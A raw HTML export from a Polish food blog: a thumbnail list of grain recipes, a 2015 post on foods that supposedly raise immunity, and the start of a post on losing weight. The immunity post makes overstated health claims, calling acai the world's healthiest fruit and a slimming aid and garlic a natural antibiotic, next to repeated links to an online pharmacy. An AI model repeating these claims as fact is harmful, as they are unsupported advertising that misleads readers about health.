<a href="http://zmiksowani.pl/przepis/760846" target="_blank" title="Pikantne kluseczki z kaszy jaglanej"><img alt="Pikantne kluseczki z kaszy jaglanej" src="http://static.zmiksowani.pl/image/photo/2015/06/10/760846_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Pikantne kluseczki z kaszy jaglanej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/774007" target="_blank" title="Pomidorowy pęczak z serem z niebieską pleśnią"><img alt="Pomidorowy pęczak z serem z niebieską pleśnią" src="http://static.zmiksowani.pl/image/photo/2015/07/05/774007_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Pomidorowy pęczak z serem z niebieską pleśnią</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765003" target="_blank" title="Ciasto z kaszy gryczanej"><img alt="Ciasto z kaszy gryczanej" src="http://static.zmiksowani.pl/image/photo/2015/06/19/765003_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Ciasto z kaszy gryczanej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765004" target="_blank" title="Naleśniki z kaszą gryczaną i pieczarkami"><img alt="Naleśniki z kaszą gryczaną i pieczarkami" src="http://static.zmiksowani.pl/image/photo/2015/06/19/765004_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Naleśniki z kaszą gryczaną i pieczarkami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768146" target="_blank" title="Jaglane mango lassi / millet mango lassi"><img alt="Jaglane mango lassi / millet mango lassi" src="http://static.zmiksowani.pl/image/photo/2015/06/25/768146_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Jaglane mango lassi / millet mango lassi</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/772356" target="_blank" title="Bezglutenowe zielone smoothie jaglane / glutenfree green millet smoothie"><img alt="Bezglutenowe zielone smoothie jaglane / glutenfree green millet smoothie" src="http://static.zmiksowani.pl/image/photo/2015/07/03/772356_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Bezglutenowe zielone smoothie jaglane / glutenfree green millet smoothie</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/766494" target="_blank" title="Pęczotto z botwinką"><img alt="Pęczotto z botwinką" src="http://static.zmiksowani.pl/image/photo/2015/06/22/766494_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Pęczotto z botwinką</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771708" target="_blank" title="Czekoladowa quinoa z kokosem i owocami"><img alt="Czekoladowa quinoa z kokosem i owocami" src="http://static.zmiksowani.pl/image/photo/2015/07/02/771708_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Czekoladowa quinoa z kokosem i owocami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765711" target="_blank" title="Pachnące ziołami gołąbki z młodej kapusty"><img alt="Pachnące ziołami gołąbki z młodej kapusty" src="http://static.zmiksowani.pl/image/photo/2015/06/20/765711_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Pachnące ziołami gołąbki z młodej kapusty</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761915" target="_blank" title="Kasza jaglana z krewetkami po azjatycku"><img alt="Kasza jaglana z krewetkami po azjatycku" src="http://static.zmiksowani.pl/image/photo/2015/06/12/761915_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kasza jaglana z krewetkami po azjatycku</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/774923" target="_blank" title="Lunch słodki czy słony? Jaglanka w pół drogi"><img alt="Lunch słodki czy słony? Jaglanka w pół drogi" src="http://static.zmiksowani.pl/image/photo/2015/07/07/774923_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Lunch słodki czy słony? Jaglanka w pół drogi</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/767811" target="_blank" title="Serek jaglany z nerkowcami i truskawkowym sosem"><img alt="Serek jaglany z nerkowcami i truskawkowym sosem" src="http://static.zmiksowani.pl/image/photo/2015/06/25/767811_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Serek jaglany z nerkowcami i truskawkowym sosem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771645" target="_blank" title="Kasza z warzywami"><img alt="Kasza z warzywami" src="http://static.zmiksowani.pl/image/photo/2015/07/02/771645_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kasza z warzywami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/762033" target="_blank" title="Sałatka z kaszy i gotowanego kurczaka"><img alt="Sałatka z kaszy i gotowanego kurczaka" src="http://static.zmiksowani.pl/image/photo/2015/06/12/762033_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Sałatka z kaszy i gotowanego kurczaka</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761943" target="_blank" title="Naleśniki z kaszą gryczaną"><img alt="Naleśniki z kaszą gryczaną" src="http://static.zmiksowani.pl/image/photo/2015/06/12/761943_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Naleśniki z kaszą gryczaną</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/762282" target="_blank" title="Kasza jaglana z jabłkami i cynamonem"><img alt="Kasza jaglana z jabłkami i cynamonem" src="http://static.zmiksowani.pl/image/photo/2015/06/13/762282_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kasza jaglana z jabłkami i cynamonem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761973" target="_blank" title="Zapiekanka z kaszy gryczanej"><img alt="Zapiekanka z kaszy gryczanej" src="http://static.zmiksowani.pl/image/photo/2015/06/12/761973_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Zapiekanka z kaszy gryczanej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765098" target="_blank" title="Kaszotto z kurczakiem i botwinką"><img alt="Kaszotto z kurczakiem i botwinką" src="http://static.zmiksowani.pl/image/photo/2015/06/19/765098_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kaszotto z kurczakiem i botwinką</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/774623" target="_blank" title="Młoda Kapusta"><img alt="Młoda Kapusta" src="http://static.zmiksowani.pl/image/photo/2015/07/06/774623_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Młoda Kapusta</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/766678" target="_blank" title="Sałatka z kaszą"><img alt="Sałatka z kaszą" src="http://static.zmiksowani.pl/image/photo/2015/06/22/766678_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Sałatka z kaszą</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771618" target="_blank" title="Stir fry z kaszą jaglaną, wołowiną i warzywami"><img alt="Stir fry z kaszą jaglaną, wołowiną i warzywami" src="http://static.zmiksowani.pl/image/photo/2015/07/02/771618_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Stir fry z kaszą jaglaną, wołowiną i warzywami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/770796" target="_blank" title="Burgery gryczane"><img alt="Burgery gryczane" src="http://static.zmiksowani.pl/image/photo/2015/06/30/770796_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Burgery gryczane</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761981" jaglany="" pines="" sernik="" target="_blank" title="" truskawkami="" wayward="" z=""><img alt="" src="http://static.zmiksowani.pl/image/photo/2015/06/12/761981_90.jpg" height="90" jaglany="" pines="" sernik="" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" truskawkami="" wayward="" width="90" z="" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
"Sernik" jaglany z truskawkami, Wayward Pines</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768681" target="_blank" title="Jaglana tarta z cukinią i fetą"><img alt="Jaglana tarta z cukinią i fetą" src="http://static.zmiksowani.pl/image/photo/2015/06/26/768681_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Jaglana tarta z cukinią i fetą</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/764120" target="_blank" title="Zapiekanka z kaszy jaglanej na słodko"><img alt="Zapiekanka z kaszy jaglanej na słodko" src="http://static.zmiksowani.pl/image/photo/2015/06/17/764120_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Zapiekanka z kaszy jaglanej na słodko</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/767220" target="_blank" title="Kotlety z kaszy jaglanej"><img alt="Kotlety z kaszy jaglanej" src="http://static.zmiksowani.pl/image/photo/2015/06/23/767220_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kotlety z kaszy jaglanej</div>
</div>
<div style="clear: both;">
</div>
<hr style="border-bottom: 1px solid rgba(255, 255, 255, 0.3); border-top: 1px solid rgba(0, 0, 0, 0.1); border: 0; height: 0; margin: 0px;" />
56 przepisów zebranych w akcji <a href="http://zmiksowani.pl/akcje-kulinarne/zainspiruj-sie-kasza-iii-edycja" title="Zainspiruj się kaszą! III edycja - akcja w Mikserze Kulinarnym"><b>Zainspiruj się kaszą! III edycja</b></a></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com2tag:blogger.com,1999:blog-9022088188921604476.post-91200674557442146562015-12-07T21:36:00.001+01:002015-12-07T21:36:07.242+01:00Co jeść, żeby zwiększyć swoją odporność?<div style="text-align: justify;">
<i><span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Wraz z nadchodzącym okresem zimowym powoli kończy się możliwość zakupu świeżych warzyw i owoców sezonowych, które jeszcze niedawno zapełniały sklepowe półki. Nie oznacza to jednak, że jesteśmy pozbawieni źródeł witamin, tak cennych dla naszego organizmu. Co zatem jeść, żeby podnieść swoją odporność?</span></span></i><br />
<br />
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03fZ4Tr5JLeFlj40e19IYKghma2-nOHEPGxQ64OTQKZ6kSqxv63igoD5kk2mEIBsnR3yGX2p9w-haWhHGG7J38VjOWyq6kLyDGynxYKvu6O6Yd2S-DyS4tcimBlt6EHyfIw2NfbjUCEIr/s1600/dollarphotoclub_46147594.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03fZ4Tr5JLeFlj40e19IYKghma2-nOHEPGxQ64OTQKZ6kSqxv63igoD5kk2mEIBsnR3yGX2p9w-haWhHGG7J38VjOWyq6kLyDGynxYKvu6O6Yd2S-DyS4tcimBlt6EHyfIw2NfbjUCEIr/s640/dollarphotoclub_46147594.jpg" width="640" /></a></div>
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;"><b>Mrożone warzywa i owoce</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Nie wszystkie dostępne teraz owoce i warzywa są pełnowartościowym źródłem mikroelementów i witam. Większość z nich jest uprawiana sztucznie. Staraj się więc urozmaić swoją dietę o te warzywa i owoce, które są mrożone. Dlaczego? Ich zbiory i obróbka termiczna odbywa się w sezonie, a więc wtedy, kiedy dojrzewają na polach i występują w dużej ilości. Mrożenie nie pozbawia ich substancji odżywczych, więc są ich doskonałym źródłem w jesiennych i zimowych miesiącach.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;"><b>Jagoda acai – najzdrowszy owoc na świecie</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Żeby poprawić ogólne samopoczucie i podnieść odporność, warto sięgnąć po jagody acai. Uchodzą one za najcenniejszą dla zdrowia roślinę świata. Wspierają układ immunologiczny, chronią organizm przed bakteriami, wirusami, a także substancjami szkodliwymi. Dodatkowo są źródłem antyoksydantów i bioflawonoidów. Pomagają również w odchudzaniu. Jednak ich zakup może sprawić wiele trudności, dlatego najlepiej sięgnąć po preparaty apteczne z jagód acai (zobacz produkty z <a href="http://www.cefarm24.pl/">apteki Cefarm24</a>).</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;"><b>Niezastąpiona witamina C</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Spadek energii, pogorszenie samopoczucia, bóle głowy i mięśni oraz katar, to pierwsze symptomy przeziębienia. Aby je szybko pokonać, ale także by bronić się przed kolejną infekcją, warto sięgnąć po produkty bogate w witaminę C, która stymuluje odporność i uszczelnia naczynia krwionośne, blokując do nich dostęp np. wirusom. Znaleźć ją można np. w pomarańczach, grejpfrutach, mandarynkach, cytrynach oraz limonkach. Dostępna jest również w postaci suplementów diety.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;"><b>Miedź i cynk</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Te dwa pierwiastki pobudzają produkcję białych krwinek, czyli komórek odpornościowych i usprawniają ich pracę. Aby dostarczyć je do organizmu, należy włączyć do diety ryby i owoce morza, cielęcą wątróbkę, jajka i rośliny strączkowe, a między posiłkami podjadać pestki dyni. Miedź i cynk można także dodatkowo suplementować (<a href="http://www.cefarm24.pl/">apteka Cefarm24</a>).</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;"><b>Czosnek</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">To naturalny antybiotyk. Zawiera substancje, które hamują namnażanie bakterii i rozwój wirusów. Czosnek w rozdrobnionej formie uwa<span id="goog_1813354143"></span><span id="goog_1813354144"></span>lnia tzw. allicynę o działaniu przeciwzapalnym i przeciwwirusowym. Jednak jego specyficzny zapach sprawia, że bywa niechętnie spożywany w nieprzetworzonej formie. Rozwiązaniem mogą być suplementy diety wytworzone na bazie czosnku.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , sans-serif;"><span style="font-size: large;">Jesień i zima to czas, kiedy spada odporność organizmu i tym samym zwiększa się jego podatność na infekcje. Aby uchronić się przed przeziębieniem i grypą, należy zadbać o to, aby dieta w tym okresie była na tyle zróżnicowana, by dostarczyć do naszego organizmu niezbędne składniki, które pozwolą mu aktywnie funkcjonować i chronić się przed infekcjami. Może to być doskonały pretekst do odkrycia nieznanych dotąd smaków i niekończących się eksperymentów kulinarnych - idealnie wypełniających czas w długie, jesienno-zimowe wieczory!</span></span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com6tag:blogger.com,1999:blog-9022088188921604476.post-36577261057166029812015-12-02T21:42:00.001+01:002015-12-02T21:45:30.941+01:00Pozytywne aspekty procesu odchudzania<div style="text-align: justify;">
<span style="font-size: large;">Wszystko zależy od tego czy jesteśmy osobami z nadwaga, czy nie. Jeżeli nie mamy takiego problemu to nie powinniśmy zawracać sobie głowy odchudzaniem. Wystarczy tylko trochę aktywności fizycznej, warto udać się od czasu do czasu na siłownię i spokojnie utrzymamy atrakcyjną sylwetkę. Jeżeli jednak należymy do tej grupy osób, która ma problem z nadwagą, to warto się odchudzić. Można wymienić dwa najważniejsze powody, dla których powinniśmy to zrobić.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim2szv0aiIb_2hrcAxRDO_TgwAyi3yAl9L30I-gkw2D1ELnJ4GlBDfsePd9-Ly4ovhv8Yb9D7uHUNsMkfxo5IITe_ONBLm3YBgB9rHDqPbK6iny7gNlUmjjFPrAdO_Zz0iONMinh0xeUpX/s1600/loosing-weight.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim2szv0aiIb_2hrcAxRDO_TgwAyi3yAl9L30I-gkw2D1ELnJ4GlBDfsePd9-Ly4ovhv8Yb9D7uHUNsMkfxo5IITe_ONBLm3YBgB9rHDqPbK6iny7gNlUmjjFPrAdO_Zz0iONMinh0xeUpX/s1600/loosing-weight.jpg" /></a></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Polepszenie naszego stanu zdrowia.</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span>
